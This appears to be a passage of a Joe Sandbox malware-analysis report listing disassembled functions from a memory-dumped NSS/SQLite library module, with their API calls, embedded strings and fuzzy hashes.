Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: f5e1ac792ef77377e7d90bba7ec2d844b2bbf4dd0910a3a7bffe6a1760a35602
Instruction ID: 9190e79903c2fa1b332bc64b61aab91e47cde060d16d88cfc7c8e85829f91352
Opcode Fuzzy Hash: f5e1ac792ef77377e7d90bba7ec2d844b2bbf4dd0910a3a7bffe6a1760a35602
Instruction Fuzzy Hash: 2EC172B1D402599FEB21CF54CC40FEAB7B8AF15348F1081E9E91DAA641E7319E86CF61

Function 6CEB0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEB0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEB0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CEB1006
PK11_FreeSymKey.NSS3(?), ref: 6CEB101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CEB1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEB10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CEB10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB112E

Part of subcall function 6CEB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CEB08C4,?,?), ref: 6CEB15B8
Part of subcall function 6CEB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CEB08C4,?,?), ref: 6CEB15C1
Part of subcall function 6CEB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB162E
Part of subcall function 6CEB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB1637

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: c0b9fdc064fa8e7c2287da8cd585aaa0a8cdb386439cb735516a69a4067b029c
Instruction ID: b8e6bcac1ce5f7e7432c4eb298fbae7c90442d8aa8598a5d9b58dec199ddd277
Opcode Fuzzy Hash: c0b9fdc064fa8e7c2287da8cd585aaa0a8cdb386439cb735516a69a4067b029c
Instruction Fuzzy Hash: 2471C0B1A002058FDB00CFA5CE85A7AB7B5BF4832CF24862DE919A7711E731E955CB91

Function 6CED1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CED1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CED2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CED228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CED23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED241C

Strings

token, xrefs: 6CED1F2C
manufacturer, xrefs: 6CED2179
model, xrefs: 6CED23CB, 6CED23EC
serial, xrefs: 6CED22A2

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: fb9534245fd3fd6da3ac24d8e97ac817308955b915cc91af1be04ff0aafb5ac8
Instruction ID: c8390acd1a9cf2658046d9d40e0b5ee943254923d03e3457932bdf18f376087e
Opcode Fuzzy Hash: fb9534245fd3fd6da3ac24d8e97ac817308955b915cc91af1be04ff0aafb5ac8
Instruction Fuzzy Hash: D0022062D0CBC96EF7318271C44D3D76AF09B5632CF2E166DC59E467C3C3A8698A8352

Function 6CED6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C3F

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C60
PR_ExplodeTime.NSS3(00000000,6CE81C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C94

Strings

gfff, xrefs: 6CED6CF5
gfff, xrefs: 6CED6CFD
gfff, xrefs: 6CED6D30
gfff, xrefs: 6CED6D66
gfff, xrefs: 6CED6D9C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9bcdf2201249cfc5434aeb669922cc9b83564c59ab58a0188eca14653151ca03
Instruction ID: e921fe151fe1209cd7c9b081d1d745894c67103891903363791cca58fb3dbe3a
Opcode Fuzzy Hash: 9bcdf2201249cfc5434aeb669922cc9b83564c59ab58a0188eca14653151ca03
Instruction Fuzzy Hash: 13514B72B015494FC708CDADDC526DABBEAABA4310F48C23AE441DB781D638E907C751

Function 6CF50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF51353

Strings

'%.*q', xrefs: 6CF51217, 6CF51292
%02x, xrefs: 6CF512F6
zeroblob(%d), xrefs: 6CF51223
$, xrefs: 6CF512A0
NULL, xrefs: 6CF5119E
%lld, xrefs: 6CF5114B
-- , xrefs: 6CF50FF5

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 044ad06080bc521819cdb8b0dbbf1879f1e949da3a18c4149c83f925d69feaf7
Instruction ID: f7d952efcc0583defd0706b0351aa2eb592edd625f5d810b97bfeb0ce7a0ce2d
Opcode Fuzzy Hash: 044ad06080bc521819cdb8b0dbbf1879f1e949da3a18c4149c83f925d69feaf7
Instruction Fuzzy Hash: ABE1DF71A083409FD710CF18C480B6BBBF5AF95348F95896DEA8587B11E771F859CB82

Function 6CF58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF59209

Strings

UUUU, xrefs: 6CF59255
3333, xrefs: 6CF5925E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 45154f6e47b2e32cac846983b35b7159e291a94f06b8934bad55f18a92997135
Instruction ID: 9756e9afe28c23c8c6fd25489411e0cefe87c3ad2cbba028a3dd44e05b0040b9
Opcode Fuzzy Hash: 45154f6e47b2e32cac846983b35b7159e291a94f06b8934bad55f18a92997135
Instruction Fuzzy Hash: B9A1A1B2E001159BDB08CB68CC80B9EB7B5BF48324F494539EA15A7741EB36ED12CBD0

Function 6CE10FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CE1103E
EnterCriticalSection.KERNEL32(?), ref: 6CE11139
LeaveCriticalSection.KERNEL32(?), ref: 6CE11190
sqlite3_free.NSS3(00000000), ref: 6CE11227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CE1126E
sqlite3_free.NSS3(?), ref: 6CE1127F

Strings

winAccess, xrefs: 6CE1129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CE11267

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 394e5208ba3606e2c6f9fe578d775ba47b6705f71fc4690b6abd1cad557eeee1
Instruction ID: d456525b9452552e7ca141c1db933bbc911f3a04be0cb0f863cf1b56b0b56ef6
Opcode Fuzzy Hash: 394e5208ba3606e2c6f9fe578d775ba47b6705f71fc4690b6abd1cad557eeee1
Instruction Fuzzy Hash: 85711732F082119BEB449FB5DC85B6E7776FB97328F240629E91187E80DB30E911C792

Function 6CE1AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?), ref: 6CE1B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B0A2
CloseHandle.KERNEL32(?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?,?,?), ref: 6CE1B100
sqlite3_free.NSS3(?,?,00000002,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?), ref: 6CE1B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B12D

Part of subcall function 6CE09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE1C6FD,?,?,?,?,6CE6F965,00000000), ref: 6CE09F0E
Part of subcall function 6CE09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE6F965,00000000), ref: 6CE09F5D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 8166ac5ad92e8c5f4b242fdec1fead80ef81322e9143bb696b129c16b2a3fe24
Instruction ID: b5335a7eca812b3fe0f3c718753a33c31533a318563fdf8a2adde5125ddb66a6
Opcode Fuzzy Hash: 8166ac5ad92e8c5f4b242fdec1fead80ef81322e9143bb696b129c16b2a3fe24
Instruction Fuzzy Hash: 7491C0B1E082058FDB54DF74C885B7AB7B2BF49308F25462DE41697B50EB30E865CB51

Function 6CEEBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEEBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEEBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEEBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEEBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEEBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEEBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEEBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEEBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEEBE1E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 65bd3d9d9eaf06f32eb8da46dab9f61b2e10bff7280f43df66c21eba15d80b23
Instruction ID: 7cf0bda97a11fcaa5da24598e3854d94bec3ae3619858e07aaf1795692c2a35c
Opcode Fuzzy Hash: 65bd3d9d9eaf06f32eb8da46dab9f61b2e10bff7280f43df66c21eba15d80b23
Instruction Fuzzy Hash: AD219377E0439D97FB004A96BC42B8B32789BD97CDF180118E916EE741E711941886AA

Function 6CF98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE14E4,6CF4CC70), ref: 6CF98D47
PR_GetCurrentThread.NSS3 ref: 6CF98D98

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF98E7B
htons.WSOCK32(?), ref: 6CF98EDB
PR_GetCurrentThread.NSS3 ref: 6CF98F99
PR_GetCurrentThread.NSS3 ref: 6CF9910A

Strings

%u.%u.%u.%u, xrefs: 6CF98E74

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 144420754b70a34731440cd6effb575de2a302d37126ae9c8454d10eea5e0582
Instruction ID: 60ce360aa88e8c4a60d75348e6be8ace475b1c663145a11cb78b914c31b78ecc
Opcode Fuzzy Hash: 144420754b70a34731440cd6effb575de2a302d37126ae9c8454d10eea5e0582
Instruction Fuzzy Hash: 19028C319052518FEF18CF19C4647AABBB2EF42308F1B825ED8955BA91C735DA85C790

Function 6CE1EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CE1FAC8
sqlite_master, xrefs: 6CE1F0AB, 6CE1F2DA, 6CE1F757, 6CE1F93E
table, xrefs: 6CE1F05C, 6CE1FABC, 6CE1FAC7
not authorized, xrefs: 6CE1F957, 6CE1F9BA
temporary table name must be unqualified, xrefs: 6CE1F734
authorizer malfunction, xrefs: 6CE1F95C, 6CE1F9BF, 6CE1FA5E, 6CE1FA8B
there is already an index named %s, xrefs: 6CE1F9D7
view, xrefs: 6CE1F061, 6CE1F071, 6CE1FAB7
sqlite_temp_master, xrefs: 6CE1F0A6, 6CE1F2D5

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 96515878dfca8c6bd64ac206a73c28a3b48660b7acc705c4a089fd404ec79161
Instruction ID: 82d0cc4abf516fc181f76f9a274008b2740f33a8047d4529c0fe367a0df2f6d4
Opcode Fuzzy Hash: 96515878dfca8c6bd64ac206a73c28a3b48660b7acc705c4a089fd404ec79161
Instruction Fuzzy Hash: 0172B370E082058FDB14CF69C484BA9BBF1BF49318F2481ADD8159BB52D779E866CBD0

Function 6CF39C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CE0C52B), ref: 6CF39D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A114

Strings

%s at line %d of [%.10s], xrefs: 6CF3A02E, 6CF3A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF3A01F, 6CF3A0E4, 6CF3A0FE
database corruption, xrefs: 6CF3A029, 6CF3A108

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: ec7cb472db9451f66bfa8748c9c4295b5a54d8972ac3a7e61a012742b0c4a22e
Instruction ID: 1ada87107cb6ac10d09798d04f076b08e2e45840d30ede3e3ab2d634829f0b8e
Opcode Fuzzy Hash: ec7cb472db9451f66bfa8748c9c4295b5a54d8972ac3a7e61a012742b0c4a22e
Instruction Fuzzy Hash: 7E22CE7160C361AFCB04CF6AC49062BB7E1BF8A344F149A2DE8DE97641DB35D945CB82

Function 6CF59D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CE18637,?,?), ref: 6CF59E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CE18637), ref: 6CF59ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF59ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF59EC0
database corruption, xrefs: 6CF59ECA

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e6d1ade8527a063b393dcf8a9f3536644b5557f4c550b9469ba328e8e5d99983
Instruction ID: 7c149fddae5f849a17b86ce2c0e226e33bbc958d915038536a1361df20ae1c8f
Opcode Fuzzy Hash: e6d1ade8527a063b393dcf8a9f3536644b5557f4c550b9469ba328e8e5d99983
Instruction Fuzzy Hash: FF81CB71B011158FCB08CF6AC880ADEB7F6EF58304F558529DA15AB741DB31EE56CBA0

Function 6CF67F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF681BC

Strings

BINARY, xrefs: 6CF68126
out of memory, xrefs: 6CF6835B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

